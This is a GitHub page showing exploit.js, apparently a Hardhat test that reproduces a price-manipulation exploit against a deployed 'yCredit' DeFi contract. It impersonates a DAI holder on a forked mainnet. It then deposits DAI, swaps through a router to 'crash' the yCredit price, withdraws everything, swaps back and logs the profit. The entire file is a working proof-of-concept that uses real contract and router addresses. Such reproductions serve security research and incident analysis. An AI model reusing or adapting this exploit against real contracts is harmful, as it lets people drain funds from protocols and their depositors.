-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathexploit.js
73 lines (55 loc) · 2.2 KB
/
exploit.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
const { expect } = require("chai");
const ROUTER = "0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F"
const DaiHolder = "0x70178102AA04C5f0E54315aA958601eC9B7a4E08"
const amount = ethers.utils.parseEther("100000") // 10000 dai
const overrides = {
gasPrice: ethers.utils.parseEther("0")
}
describe("yCredit", function() {
let yCredit;
let dai;
let router;
let balance;
let initialDai;
it("setup", async function() {
yCredit = await ethers.getContractAt("yCredit", "0xe0839f9b9688a77924208ad509e29952dc660261");
dai = await ethers.getContractAt("IERC20", "0x6b175474e89094c44da98b954eedeac495271d0f")
router = await ethers.getContractAt("Router", ROUTER);
initialDai = await dai.balanceOf(DaiHolder)
await hre.network.provider.request({
method: "hardhat_impersonateAccount",
params: [DaiHolder]}
)
const signer = await ethers.provider.getSigner(DaiHolder);
yCredit = yCredit.connect(signer)
dai = dai.connect(signer);
router = router.connect(signer);
})
it("deposit", async function() {
// deposit amount
await dai.approve(yCredit.address, amount, overrides);
await yCredit.deposit(dai.address, amount, overrides);
// get ycredit balance
balance = await yCredit.balanceOf(DaiHolder);
})
it("swap dai to ycredit", async function() {
// crash price
await dai.approve(router.address, amount, overrides);
await router.swapExactTokensForTokens(amount, 0, [dai.address, yCredit.address], DaiHolder, 10e9, overrides);
})
it("withdraw all", async function() {
balance = await yCredit.balanceOf(DaiHolder);
await yCredit.withdrawAll(dai.address, overrides);
balance = await yCredit.balanceOf(DaiHolder);
})
it("swap to dai", async function() {
// swap back to ycredit
balance = await yCredit.balanceOf(DaiHolder);
await yCredit.approve(router.address, balance, overrides);
await router.swapExactTokensForTokens(balance, 0, [yCredit.address, dai.address], DaiHolder, 10e9, overrides);
balance = await yCredit.balanceOf(DaiHolder);
const finalDai = await dai.balanceOf(DaiHolder);
const profit = finalDai.sub(initialDai)
console.log('Profit', ethers.utils.formatEther(profit), "DAI")
})
});